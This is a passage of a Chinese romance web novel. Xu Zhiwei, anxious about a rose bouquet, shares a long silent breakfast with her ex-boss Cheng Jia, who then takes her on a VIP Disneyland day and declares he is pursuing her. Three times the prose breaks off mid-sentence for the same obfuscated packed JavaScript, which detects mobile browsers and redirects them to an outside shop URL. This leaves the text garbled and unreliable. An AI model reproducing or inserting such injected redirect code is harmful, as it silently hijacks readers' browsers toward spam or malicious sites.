可心底另一种更细微的声音,却执拗地冒了出来,像藤蔓一样缠绕着她的理智。 ——可是万一,真是林芮说的替身文学呢? ——不行不行。 ——打住。 ——苏清妍像我而已。 ——只能证明程迦眼光不错。 ——先把这花处理了。 许知微先是把它放在了餐桌边。 ——不好,容易被碰到。 挪到窗边。 ——阳光太烈,会蔫。 又换到靠近沙发的边柜上。 ——太醒目了。 来回调整了好几次,她才被自己傻瓜一样的行为感觉羞愧。 “许知微,你真是……”她忍不住低声骂了自己一句,语气里满是懊恼。 然后她放下花,准备套件衣服就出门。 ——不过是和前上司(很快就是前邻居)吃个早茶。 可站在浴室的镜子前,她还是微微皱眉了。 ——昨晚洗澡了,可是这头发怎么显得这么耷拉? ——干脆再洗一次头好了。 洗头,吹发,卷头发。 等站在衣柜前,她的手又迟疑了。 ——那件宽松的旧T恤?人家可是穿的西装。 ——那件常穿的职业衬衫?感觉像是一起去见客户。 衣服没选好,她又开始盯着镜中素面朝天的自己挑错。 ——最近气色不好。 ——都快三十了,怎么还长痘? ——要不,化个妆? 这个念头让她自己都愣住了。 ——化一次妆成本一百多块呢,图什么? 可最终,她还是画了淡妆,选了连衣裙,穿了高跟鞋。 可临出门时,她又一次被沙发边柜上的玫瑰花定住了脚步。 ——这花,要不要带? ——一般约会男生送的花,要带上么? ——等一下! ——他们这是一般约会么? ——显然不是! ——可是,程迦买花诶。 ——他一个对花粉过敏的人竟然会去买花诶。 ——不带上,会不会显得自己敷衍他的心意? 她在门口与那束花对峙了许久,最终,还是伸出手,将它重新抱进了怀里。 “就当拿着好看。”她为自己找了可笑的理由,“颜色跟我今天的衣服很搭。” ——对。 ——别把这次当成约会。 ——自己之前答应的事儿,当然要做到。 ——要不是忙面试忙忘了,也不会需要程迦主动来提醒。 ——对,对,自己做的这一切都是出于差点失信的愧疚。 ——别再给任何模糊情感留出滋长的缝隙。 ——程迦本身也是个渣男。 ——心里有个喜欢了十三年的苏清妍。 ——自己不敢表白,就跑来我这里找优越感。 ——对。 ——请完这顿。 ——就干脆利落地断开,像当初对待顾呈一样。 ——就算是为了感谢他那笔幻想值间接带来的年薪跃升,精心对待这次告别。 ——这是我为人体面。 ——不是我心动了。 ——我很理智。 ——很理智。 许知微抱着花站在门内,做完长长的心里建设,低头看了看花,迟来的理智让她又后悔了。 ——不行,太奇怪了。 ——又不是约会,带花干嘛? ——本就一男一女吃饭,还有一束玫瑰花。 ——别被误会了。 许知微正准备把花放回去,弯下腰,手臂已经摆出要往玄关边柜方向放置的动作。 门,忽然被轻轻推开了。 吱呀。 微弱的声响让她动作顿住。 门缝扩大,一道熟悉的身影毫无预兆地出现在视野里。 程迦站在门口,西装笔挺,领带一丝不苟,手指还搭在门把上,维持着一个略显突兀的姿势。 看起来,像是先敲了门,随即发现门根本没锁,于是顺应着惯性顺手推了一下。 两人就这样猝不及防地隔着一臂距离,对上了视线。 空气凝固了两秒。 程迦显然也没预料到门会直接打开,更没预料到会撞见她抱着花,弯腰向垃圾桶倾斜的瞬间。 他眼中闪过一丝极快的错愕,随即本能地迅速收敛所有外露情绪,恢复到那种他自认为最自然的冷静状态,语气平板地解释: “……门没关。” 许知微则僵在原地,手里还拿着那束此刻显得无比烫手的玫瑰。 脑子里炸开一个让她呼吸微滞的念头。 ——他刚才,一直就站在外面等? ——等自己? 在她这一个多小时里,洗头、换衣、化妆、自我拉扯的时候,他就一直等在这门都没锁的门外? 这个认知带着一种有些冒犯的亲密感,让她不敢深想,只能强行扯动嘴角,挤出一个试图显得云淡风轻、实则漏洞百出的笑容: “哦……” 然后,词穷。 两人陷入一种令人脚趾抠地的寂静,连中央空调低沉的送风声都显得格外喧闹。 程迦的目光,在她怀里的玫瑰花上短暂停留,随即极其自然地往下移,落在了她脚边那个敞口的垃圾桶旁。 他的视线,在那里明显顿了一下。 然后,他开口,声音依旧平稳,听不出什么情绪,只是仔细分辨,或许能捕捉到一丝被努力压制住的试探: “花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330288|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……不喜欢?” 许知微顺着他的视线低头一看。 自己弯腰的姿势,手抛鲜花的方向,垃圾桶近在咫尺。 这个构图,怎么看都像是正准备把花丢进垃圾桶。 她瞬间读懂了他的潜台词和可能的误会。 “不,不是!”她几乎是条件反射般地脱口而出,语气比自己预想的要急切,甚至带上了点急于澄清的慌张。 然后立刻将花往怀里收紧,手臂形成了一个保护的姿态,仿佛要用行动证明自己的欢喜。 “我很喜欢。”这句话说得太快,以至于她自己说完都愣了一下。 意识到语气过于讨好,她连忙找补,试图把话拉回正常社交的轨道,声音却因为刚才的急切而显得有些气虚:“就是……刚才在想,放哪里比较合适。” 说完,她自己心里都泛起一阵荒谬的无力感。 ——自己在干嘛? ——在跟程迦报备? ——没必要吧? 门外的程迦看着她,那双总是过于冷静的眼睛里,有什么东西极轻微地松动了一下。 他沉默了大约半分钟,然后,试图用一种极其自然的语气,却给出了一个非常别扭的建议: “喜欢的话,就带着吧。” 话一出口,他自己恨不得给自己一个巴掌。 ——带着? ——带去哪? ——哪个正常人约会,会建议对方把刚从家里拿出来的、自己送的花,再原封不动地抱着出门? ——这个提议暴露了自己对正常约会流程,惊人的无知。 ——太笨了。 ——自己怎么可以这么笨? ——自己怎么一到她面前,总会暴露自己的缺点? 程迦在意识到这一点的瞬间,下颌线几不可察地绷紧了一瞬,眼神里飞快掠过一丝自我审视的懊恼。 为了试图维持住了脸上那副平静无波的表情,他习惯性地从衣服口袋里翻出一瓶已经喝了大半的水,咕噜咕噜喝了起来。 而另一头的许知微也跟着愣住了。 ——这人几个意思? ——让自己带着花。 ——跟他,两个人,单独去吃饭? ——这,真的不是约会么? ——这,应该算约会吧? 她看着他,看着他因为紧张就咕噜咕噜喝水地样子,脑子里那根拼命想要划清清醒界限的弦,铮地一声,又被往名为暧昧的方向狠狠拨动了一下。 理智在颅内疯狂拉响警报: ——他慌了。 ——为什么? ——因为要跟自己约会? ——哎呀喂,别过度解读! ——带着花单独吃饭也不一定是约会啊! ——也可能是…… ——死脑快想! ——你倒是快想啊!! ——哦!对! ——想想那个十三年的白月光! 这个念头成功让许知微的肾上激素平复了下来。 ——记住,你们只是,仅仅,不过是,吃个早茶! ——你不过是,履行承诺请客! ——这花,说不定是为了庆祝你找到好工作送的。 ——不过,程迦嘴笨,只说了送给女性。 ——就被花店店员骗去买了最贵的玫瑰花束。 ——带花也不过是他当老板惯用的服从性测试。 ——对! ——一定是这样的! 她点了点头,庆幸自己推理出了合理的解释,然后随口说道: “……对。” ——嗯? ——她刚刚,是不是答应什么了? 47. 约会 早茶店临窗的位置光线柔和,已经坐了将近两个小时。 许知微几乎是用调试代码的精确耐心,一点点拆解着面前的点心。 虾饺的褶子要数清,凤爪的骨头要剔得干净,叉烧酥的酥皮层数仿佛也值得研究。 食物不难吃,但她的味蕾早已被另一种焦灼的情绪麻痹。 更何况,她早就饱了。 真正将她钉在这张椅子上的,是对面那个人。 程迦几乎没有动筷子。 他只是偶尔端起茶杯抿一口,目光平静地落在她身上,或者看向窗外流动的街景。 一言不发。 她开始感到一种细密的困惑,像水底悄然升腾的气泡。 ——他这表现,看着像是单纯缺个饭搭子,来尝这家新店。 ——可他自己又几乎没吃什么。 ——那怎么非要把蛋糕钱还给自己,点名吃这家店? ——如果只是想尝鲜,那早在四十分钟前就该礼貌散场了。 ——如果不是……那他究竟在等什么? ——还一句话不说。 ——这嘴巴不用,真的可以捐点,造福人类! 想到这里,她又瞥了一眼身旁椅子上那束花。 在室内暖光下,花瓣已完全舒展,呈现出一种饱满而张扬的生机,香气丝丝缕缕地缠绕在空气里。 服务员每次经过,目光总会在这束花和他们之间微妙地停留片刻。 在任何一个旁观者眼中,这都是一场毋庸置疑的约会。 所以,这也不怪她多想。 ——程迦,不仅仅是找自己吃早茶的。 ——他,有话要说。 正胡思乱想间,服务员带着职业笑容走了过来。 “两位还需要加点什么吗?” 许知微条件反射地张口:“我……”话音未落,一个短促有完全不受控制的嗝,代替了所有话语。 空气瞬间凝滞。 她整个人僵住,血液轰地一下涌上脸颊,耳根烧得发烫。 ——完了。 ——在这样紧绷微妙的时刻,这个生理反应简直像程序里一个荒唐的Bug。 ——让所有精心维持的体面瞬间崩盘。 服务员倒是训练有素,笑容不变:“明白,那先帮您二位结算。需要打包吗?” 她低头看着盘里还剩大半的鲜虾肠粉。 ——别浪费吧。 ——正好晚上不用点外卖了。 就在她准备说出“麻烦打包”时—— “不了。”程迦的声音比她更快,语气平稳自然,仿佛他们早就达成了这项共识。 许知微心里“咯噔”一下,随即竟生出一丝隐秘的窃喜。 ——“不了”? ——不打包? ——那意思是,还有别的安排? ——难道,真是约会? 这个念头让她几乎熄灭的期待又死灰复燃般地蹿起一点火星。 她不动声色地坐直了些,目光装作不经意地掠过他的脸,想从那张平静无波的脸上读出点什么。 然而,程迦说完这两个字后,便重新陷入了沉默。 他没有看她,也没有解释,只是端起茶杯,又抿了一口,目光重新投向窗外,仿佛刚才那句“不了”只是拒绝打包,再无深意。 时间在沉默中一分一秒地爬过。 期待的火星,在无人接续的安静里,一点点黯淡下去。 许知微的心慢慢沉回谷底。 她开始理智地回溯。 整顿饭,程迦跟她说了几句话? ——“坐哪儿?。” ——“花随便放。” ——“我饱了。” 而他对服务员说了什么? ——“两位。” ——“靠窗。” ——“套餐一。” ——“加水。” ——“不用打包。” ——竟然,他跟服务员说的话,比跟自己说的还多! ——自己竟然还在妄想,这在他眼中会是一场约会? ——自己竟然还在期待,他那些沉默里藏着未宣之于口的意图? ——都怪烦人的幻想系统。 ——各种误会让自己自作多情。 ——好。 ——吃完,买单,起身,再见。 ——一场得体的前任上下级告别餐。 ——一早上所有的兵荒马乱,只算她荷尔蒙不稳定的小插曲。 一股混合着自嘲和淡淡失落的情绪漫上来。 她做好了心理建设,准备扬起一个得体的笑容,说句“那今天——” 而服务员拿着账单回来了,账单被极其自然地递向程迦。 然后,他接过来,目光扫过金额,动作流畅得没有一丝停顿,转手就将账单递到了她面前。 许知微:“……”她盯着那张轻飘飘的纸。 ——哦,对。 ——这顿早茶,是送他的生日礼。 ——所以,理应由自己买单。 ——只是服务员以为,这是约会呢,所以才会下意识认为他会买单。 心里那簇刚才熄灭却还冒着一点青烟的小火苗,被这阵名为现实的风,彻底吹散了。 连服务员都敏锐地捕捉到了这微妙的气氛转换,笑着打圆场:“哎呀,不好意思,我们一般约会都默认男士买单呢,原来二位是夫妻呢,钱都在太太那儿管着。” 许知微一怔,正想解释,却听见对面几乎立刻开口,声音清晰,语调平稳,带着一种撇清关系的果断:“我们不是夫妻。” 服务员的笑容瞬间僵在脸上,连忙道歉:“对不起对不起,又是我误会了。” 场面一时陷入一种略带尴尬的沉默。 ——哼。 ——这会儿倒是长嘴了。 许知微下意识翻了一个白眼,接过账单,利落地扫码付款,语气轻松得像在讨论天气:“没事,付好了。” 服务员如释重负地离开。 桌面上重新恢复安静,甚至比之前更安静了几分。 ——这下,彻底清楚了。 ——是她擅自给这顿饭添加了多余的注释和幻想。 ——他只是在履行一个约定。 ——那束花,无关风月。 她拿起手边的玫瑰,抱在怀里,准备起身,让一切回归它应有的边界。 “那我先回——” “接下来。”可程迦的声音截断了她的话。 她动作顿住。 他抬起眼,目光笔直地看向她,平静得像在宣布下一项会议议程。 “去迪士尼玩。” 他顿了顿,自然而然地补充: “这一段,我请。” * 迪士尼乐园门口,人潮汹涌。 彩色的拱门高耸入眼,气球、音乐、孩童的尖叫与欢笑声搅拌在一起,形成一片巨大而温热的喧嚣。 到处都是拖着小拖车奔跑的家庭,依偎着拍照的情侣,高举着自拍杆的年轻人。 每个人脸上都带着一种理直气壮的快乐期待。 许知微抱着那束玫瑰,站在这样的背景里,倒真像童话里的公主。 她仰头,看着那座标志性的城堡轮廓,后知后觉地感叹。 ——这家乐园,已经开了这么多年了。 大学时,她忙着刷绩点,拼奖学金,做实习,每一分钟都要兑换成简历上的硬通货。 工作后,她忙着站稳脚跟,卷项目、卷绩效,生活被精确分割成以周为单位的deadline。 后来升职、带团队、挺过融资的低谷,时间像被榨干的资源,从未被允许浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338890|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在毫无性价比的娱乐上。 所以,这是多年来的第一次。 第一次,行程表上没有必须完成的任务。 第一次,不是为了任何人的生日、业绩或社交义务。 第一次,仅仅是因为有人说去迪士尼玩。 当这个念头清晰浮现时,心脏像被一只无形的手轻轻攥了一下,漏跳半拍。 ——可他呢,为什么约自己来这里? 她正兀自出神,身后传来略显急促的脚步声。 “可以进去了。” 她闻声回头。 程迦正朝她小跑过来,手里捏着两张门票。额前一丝不苟的发型被风吹得有些凌乱,呼吸也比平时急促几分,但那双总是过于冷静的眼睛,此刻却亮得惊人,映着乐园门口绚烂的光。 那一瞬间,他身上“程总”那层坚硬的壳仿佛出现了裂痕。 他不再像那个永远掌控节奏的上位者,反而更像一个生怕错过入场时间的急切的普通男人。 这个认知让她心头微动,脚步几乎要本能地向前迎去,却在抬起的瞬间,硬生生刹住了。 ——不行。 ——她已经厌倦了这种状态。 从清晨答应那个早茶邀约开始,到对镜梳妆时的犹豫,到抱着玫瑰出门的纠结,到早茶店里两小时无声的拉锯与自我拷问,再到此刻站在这座梦幻城堡的入口。 整整半天,她的情绪都像被抛进了一个混沌系统里。 她被动地接收信号,艰难地解析意图,反复地自我推翻与重建。 她不喜欢这样。 她不喜欢这样患得患失的自己。 她应该是那个写代码的人,而不是一段等待被调试,输出结果飘忽不定的程序。 程迦往前走了几步,才察觉她没有跟上。 他停下,转过身,隔着两三步的距离看她。 “怎么了?”他的语气很自然,甚至因为刚才的小跑,带上了一点未平复的颤音。 周围人潮如织,像一条喧闹的河从他们身边分流而过。 她却仿佛站在一个无形的静默气泡里,异常清醒,也异常平静。 许知微看着他,语气平稳得听不出一丝波澜,却字字清晰: “程总,你经常请……离职的、普通前下属,来这种地方吗?” 这句话问得很体面,没有指责,没有怨怼,唯独在“普通”两个字上,加了不易察觉的重音。 对面的程迦也明显地愣了一下。 他脸上闪过一瞬的空白,沉默了几秒。 那几秒钟里,周遭的喧闹似乎都褪成了模糊的背景音。 然后,他说:“你不是普通下属。” 许知微轻轻点了点头,她当然知道,随即抛出下一个问题,目光紧锁着他:“那是因为我是比较值得维护关系的下属?” 他看着她,唇线微抿,没有立刻接话。 她没有给他模糊处理的机会,继续追问,声音依旧平稳,却带着一种不容回避的力道: “如果不是为了给我这个下属践行。” 风从乐园入口宽阔的广场上吹过,卷来棉花糖甜腻的香气和远处花车巡游隐约的音乐。 她站得笔直,像一杆标尺,声音清晰而稳定: “我们今天,算什么?” 程迦的视线落在她脸上,停留了很久。 终于垂下眼,目光落在两人之间的地面上,眉头微蹙,仿佛在慎重地斟酌每一个可能出口的词语,评估其准确性与风险。 时间仿佛被粘稠的空气拉长凝固。 周围的欢笑声、音乐声、鼎沸的人语,都被时间隔绝,变得遥远而模糊。 过了仿佛有一个世纪那么久,他才低声开口 声音不高,甚至有些干涩,但每个字都吐得很清楚,像在宣誓: “算——我在追你。” 48. 鞋子 三小时。 许知微低头看了一眼手机屏幕上跳动的时间,连自己都觉得有些不可思议。 她早就听说过那个都市传说:来迪士尼,不做攻略、不抢预约、不住园区酒店、不排队站断腿,基本就等于人肉背景板一日游。 热门项目动辄排上两三个小时,想要把经典项目刷一遍,非得有耗尽一整天的觉悟不可。 而她和程迦,从踏入这片喧嚣的乐土到现在,仅仅过去了三个多小时。 疯狂动物城、加勒比海盗、创极速光轮、小熊□□馆、七个小矮人矿山车、飞跃地平线、雷鸣山漂流。 那些攻略上标着星号的重点项目,几乎都已打上了勾。 看了三场表演:米奇童话书、杰克船长、冰雪奇缘。 甚至连巡游,他们都有好位置。 没有一次,她需要伸长脖子望向那令人绝望的蛇形长队。 她后知后觉地意识到一个事实,这不是运气,这是钞能力。 程迦几乎在每个项目入口,都能流畅地出示一个特殊的电子凭证。工作人员心领神会地扫描,然后为他们拉开另一条从出口直接进的通道。 她不知道那个“尊享导览”或“礼宾服务”具体要花多少钱。 但她一定是普通工薪阶层需要反复掂量,甚至望而却步的数字。 毕竟不少背着名牌包的人,都只能百无聊赖地排队呢。 ——这就是被有钱人追的体验吗? ——限定版的快乐。 ——VIP通道的人生。 ——连等待这种普罗大众必修课都能被强行删除的特权视角。 ——感觉偶尔当当替身也挺好。 ——过过人家上流千金的日子。 许知微坐在休息区的长椅上,远处走过的花车巡游的音乐隐约传来,空气中飘散着焦糖爆米花甜腻的香气。 阳光透过树叶缝隙,在她膝上投下跳跃的光斑。 她双手交叠,看着不远处普通通道入口依然蜿蜒的人龙,嘴角忍不住轻轻弯起一个自嘲又新奇的弧度。 ——资本家可恶! ——可被资本家花钱追,感觉也不错。 ——还是当资本家爽啊! ——我也想当资本家。 不需要提前半个月研究地图和排队时间,不需要在奔跑中计算最优路线,不需要时刻紧绷神经刷新App上的动态。 她唯一需要做的,就是跟紧他,然后沉浸式地体验那些剥离了焦虑与疲惫的,纯粹的感官刺激。 这体验,就像方才玩加勒比海盗一样,刺激又危险,容易让人上瘾。 “我去一下洗手间。”十几分钟前,程迦这样说完,便转身找不到人影。 现在,时间已经过去得有点久了。 许知微下意识又瞥了一眼手机,心里那台习惯于处理不确定性的风险评估程序自动启动,开始运行一些毫无意义却止不住的推演: ——这么久? ——是肠胃不舒服? ——可中午他几乎没吃什么东西。 ——该不会是迷路了吧? ——不,以他的方向感,不太可能。 ——万一他回来,自己也突然想去洗手间怎么办? ——迪士尼的卫生间,尤其是女厕,排队盛况堪比热门项目。 ——难不成上厕所还有至尊服务? 思绪像脱缰的野马,朝着越来越离谱的方向狂奔。 她正打算强行掐断这些无用的脑内思绪,集中精神欣赏一下不远处城堡在夕阳下泛起的金色光泽时,余光忽然被一个异常移动的物体吸引。 不远处,一团移动的迪士尼周边商品山,正慢吞吞,却目标明确地朝她靠近。 真的,是一座山。 五颜六色、印着不同卡通角色Logo的礼品袋,大大小小,层层叠叠,几乎要淹没那个提着它们的人。 有些玩偶的耳朵从袋口支棱出来,闪亮的徽章带子垂落摇晃。 ——园区补货的推车翻了?还要人工? ——还是哪个超级代购在搬运? ——好像之前迪士尼盲盒还挺火的,是不是就是这个? 直到那座山在她面前稳稳停下。 许知微一愣。 然后,一颗熟悉的,头发被袋子边缘压得有些凌乱的脑袋,从礼品山的侧面略显艰难地探了出来。 程迦。 脸上依旧是那副没什么表情的冷静模样,只是双臂被沉重的袋子勒出清晰的痕迹,呼吸也比平时急促些许。 许知微:“……” 她沉默了足足两秒,大脑才成功处理完这极具冲击力的画面信息。 “你……”她眨了眨眼,语气充满了难以置信,“这是把半个商店搬空了吗?” 程迦像是很认真地思考了一下她这个略带夸张的修辞,然后给出了一个朴素的回答:“不清楚你具体喜欢哪一个,就把看上去比较热门、评价不错的都买了。” 语气平静得仿佛往日在公司里陈述:“所有可能出错的模块,我都做了冗余备份。” 许知微没忍住,噗嗤一声笑了出来。 与其说被浪漫感动,不如说被这极致务实又极度荒诞的行为逻辑彻底击中笑点。 “程迦,”她笑着摇头,语气带着无奈和一丝自己都未察觉的纵容,“你其实可以……叫我一起去挑的。至少不用一个人拿这么多。”这话本是随口一提,带着点嗔怪。 程迦听了,却像是被触发了某个关键任务节点。他立刻在那堆袋子中间认真翻找起来,动作有些慌忙,却目标明确。 “对,”他一边翻一边说,语气恢复了工作时的专注,“最初本来只想买这个的。” 话音刚落,他从一堆柔软的玩偶和包装袋中,拎出了一样东西—。 一双极其夸张、毛绒绒、尺寸硕大、亮蓝色鞋面缀满水钻和蝴蝶结的灰姑娘水晶鞋造型拖鞋。 在夕阳的余晖下,那双鞋闪烁着梦幻又失真的光芒,可爱到几乎让人感到一丝羞耻。 然后,在许知微完全没反应过来,瞳孔微微放大的注视下,程迦极其自然地单膝跪地,停在了她面前。 手里,还郑重地捧着那双引人注目的水晶鞋。 许知微:“……” ——他要干嘛? ——单膝下跪。 ——给自己穿鞋????? 时间仿佛被按下了暂停键。 周围花车的音乐、游客的欢笑、孩子的尖叫,瞬间褪成模糊的背景杂音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350303|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她全身的血液好像都冲到了头顶,耳膜嗡嗡作响,整个人僵在长椅上,几乎要向后弹开,声音都变了调:“你……你干嘛???快起来!!!” 旁边已经有牵着气球的小朋友停下脚步,好奇地张望。 路过的情侣投来带着笑意的目光。 更远处甚至有人举起了手机。 程迦的动作也被她这一声呵斥顿住了。 他抬起头,看向她涨红的脸和惊慌失措的眼睛,向来运行稳定的大脑似乎终于接收到了场景匹配错误的警报信号。 他眼里闪过一瞬罕见的困惑,仿佛精心编写的代码没能得到预期的输出。 “你的脚后跟,”他缓缓开口,语气毫无波澜,“磨红了,走路会疼。” 许知微又是一愣,下意识地低头看向自己的脚踝。 她今天为了搭配裙子,穿了一双新的浅口单鞋。 皮质偏硬,鞋后沿确实在不知觉间,将白皙的皮肤磨出了一小片显眼的红痕,微微发热刺痛。 之前玩得兴奋,肾上腺素压过了不适感,此刻静坐下来,痛感才变得清晰。 “礼品店的人说,”他依旧保持着那个在她看来极其惊世骇俗的姿势,用汇报项目进度的口吻补充,“能买到的,适合立刻更换的、柔软的鞋子,只有这种。” 没有暧昧的铺垫,没有刻意的柔情,只有最直白的问题识别与基于现有条件的最优解决方案。 可偏偏,就是这种剥离了一切浪漫粉饰,笨拙的务实与关注,猝不及防地搔刮过她心口最毫无防备的地方。 一种细微而扎实的暖意,从心脏的位置悄然扩散,沿着血管蔓延至全身。 带着一点酸涩,一点酥麻,还有一丝陌生的悸动。 ——有些意外。 ——他没注意到自己的胡思乱想。 ——却注意到自己脚可能会疼。 她抬起头,看着依然单膝跪地、表情认真甚至带着点等待指令意味的程迦,所有的慌乱、羞窘、无奈,最终都化作一声长长的叹息,和一抹无法抑制的笑意。 “你……先起来好不好?”她放轻了声音,像在哄一个不小心做错事却浑然不觉的孩子,“这样……太引人注目了。” 程迦像是接到了明确的指令,立刻站了起来,动作干脆利落,甚至顺手拍了一下膝盖上可能沾到的灰尘。 那双巨大的水晶鞋,被他端正地放在了她的脚边。 许知微低下头,看着那双与她身上优雅裙子都格格不入的,可爱到滑稽的拖鞋,心脏深处,某个一直紧锁的角落,忽然毫无预兆地塌陷了一小块。 柔软的尘埃飞扬起来,弥漫成一片温暖的雾。 夕阳将城堡的尖顶染成瑰丽的粉色,远处传来《WhenYouWishUponaStar》悠扬的旋律。 在这片人为缔造的极致浪漫的环境里,她面前这个男人,用最不浪漫的方式,完成了一次对自己心房,最精准的狙击。 ——他到底是不懂怎么追人。 ——还是……太懂了? 这种彻底超乎她所有能理解的情感模型的行为,让她彻底失去了冷静分析的能力。 只剩下胸腔里,那颗不受控制而疯狂擂动的心跳声,在迪士尼梦幻的黄昏里,震耳欲聋。 49. 烟花 毛绒拖鞋踩在乐园平整的路面上,触感绵软得像陷入了一团刚出炉的棉花糖。 后脚跟那点火辣辣的刺痛几乎瞬间被温柔包裹消融,连带心尖上那些因反复推敲而生的毛躁,也奇异地被抚平了。 她低头,看了看脚上那双造型夸张到几乎像个行为艺术品的水晶鞋,又抬头,看向身边正一丝不苟地将那些礼品袋重新分配,试图平衡左右手负重的程迦。 ——这个人。 ——言语匮乏。 ——反应迟钝。 ——行为逻辑总是跳脱出常规的认知。 ——可偏偏,在那些最容易被忽略却最关乎舒适与体感的细节上,如此上心。 ——他是一直如此的么? ——还是因为苏清妍回来了,才被调教成这样的? ——也是。 ——苏清妍出现后,他就开始幻想自己。 ——或许,也是苏清妍调教的结果。 ——对珍视的人,如若神明般供奉着。 ——像程迦会做出的事。 ——若他只是那个主播该多好。 她的意识开始不受控地将这些现实的碎片,与她脑海中那些曾属于“走leetcode”的、灼热而私密的幻想剪影,悄然拼合。 理性禁欲的外壳。 行为笨拙的路径。 非常可爱。 更别提,那幻想里的合拍。 如果剥离社会地位,过往人生,仅仅作为许知微和程迦这两个个体,在某些最原始的维度上,他们或许可以成为一对天作之合。 这个认知像一颗火星,溅落在干涸的心原上。 她立刻在大脑拉响了克制的警报。 ——停下。 ——不许再想。 然而,越是压抑,过往片段越是像挣脱牢笼的兽,朝着更暧昧的幻境狂奔。 早茶时的漫长对坐。 项目通道里的并肩疾行。 夕阳下城堡泛起的金色光晕。 他买下近乎半个商店的热门推荐。 以及此刻,脚上这双柔软到不可思议的鞋。 ——那么,接下来呢? 她的目光,不由自主地飘向他垂在身侧的手。手指修长,骨节清晰,是一双适合敲击键盘的手。 ——想牵牵看。 ——只是此刻,它们被各色礼品袋占据得满满当当。 ——可惜了,没位置了。 这个念头甫一浮现,让她自己都惊得指尖微颤。 ——她在干嘛? ——想跟程迦牵手? ——那是约会步骤啊喂! ——那又咋? ——反正他在追自己。 ——这身材她也垂涎已久了。 ——走心不行。 ——走肾总可以吧? 思绪如同脱缰野马,猛地冲向更私密、更滚烫的领域。 还好,理智用尽全力掐断了这失控的脑内幻象。 ——过分了。 ——这已经远远超出了享受他的追求的范畴。 ——金钱带来的快乐不够满足你的欲望了么? ——还惦记上身子了! 她深吸一口气,试图将注意力聚焦于眼前:夜幕初降,乐园各处的灯光渐次亮起,像洒落一地的碎钻,空气中飘荡着晚餐的香气与隐约的欢快乐曲。 就在这时,程迦转过头来看她。 “累么?”他问。语气很平常,没有刻意的嘘寒问暖,“还能玩?” 许知微微微一怔。本能想维持“我还可以”的体面,但身体先于意志,诚实地给出了反应:“差不多了。” 程迦点了点头,几乎没有停顿:“那我们去吃饭。” “时间刚好。” * 当皇家宴会厅餐厅那扇厚重的雕花木门在面前打开,训练有素的服务生躬身询问“请问有预约吗”时,许知微心里那根弦,轻轻绷紧了。 而当他们被引向那张靠窗、桌面中央立着Reserved精致铜牌、视野毫无遮挡正对奇幻童话城堡的座位时,那种微妙的预感,骤然凝结成冰。 桌面洁白如雪,银器闪烁冷光,水晶杯折射着头顶吊灯柔和的光晕。 花瓶里,几支浅粉色的玫瑰与她怀中那束红玫瑰,色彩搭配得堪称艺术。 服务生的态度恭敬而熟稔,显然对他们的到来早有准备。 ——程迦什么时候预定了餐厅? ——刚才门口那对小情侣想进来,却被告知,旺季要提前一个月预定。 ——程迦提前一个月预定了这个餐厅? ——为什么? ——总不能就为了一边看烟花一边吃饭吧? ——这么浪漫的氛围,简直就是为告白量身定做的。 ——等等。 ——一个月前。 ——不就是苏清妍回来的时间么? 她缓缓落座,丝绒椅面柔软,心却一点点往下沉。 明显需要提前预定才能订到的城堡景观位。 完美卡在烟花秀前的最佳用餐时段。 行云流水、毫无滞涩的节奏把控。 ——这下一切都解释通了。 ——他今早的邀约如此突兀仓促。 ——若自己没答应,他这迪士尼一日游不就浪费了? ——所以真相只有一个。 ——这一日游,本就不是给自己准备的。 ——它原本的落款,或许是另一个名字。 ——另一个他真正想要邀请,却未能成行的人。 ——而自己只是恰好填补了那个因故空缺的席位。 ——那个替身。 这个猜测,猝不及防地刺穿了她刚刚温热起来的少女心动。 刚才所有的柔软悸动、所有危险的遐想、所有关于契合的恍惚认知,都在这一刻急速冷冻龟裂 混合着刺痛、难堪与巨大落差的寒意,顺着脊椎蔓延开来。 她端起面前的水晶杯,冰水滑过喉咙,却浇不灭那股从内部升起的燥热与冰冷交织的混乱。 她抬眼,看向对面的程迦。 他正专注于菜单,眉峰微聚,神情是处理技术方案时特有的审慎。 察觉到她的目光,他抬起头:“怎么了?”眼神清澈,坦荡,没有任何闪躲或心虚。 可正是这种毫无破绽的坦然,此刻却成了最锋利的刀刃。 如果他心里有鬼,她还可以发作一下矫情。 可他如此平静,根本就不在意她的想法。 也是。 这豪华半日迪士尼游,作为讨好自己这个前下属的普通工薪女而言,绰绰有余。 可眼下,她很清楚地察觉到自己的情感,已经不再满足于仅仅是这场VIP体验的被动参与者。 她开始渴求动机的纯粹,执着于唯一性的确认,想知道他嘴里的追,到底是针对几个人的? 而这种渴求本身,就如同一面残酷的镜子,映照出她已然失控的情感投入。 她早已,在不知不觉中,踏过了自己预设的安全边界。 * 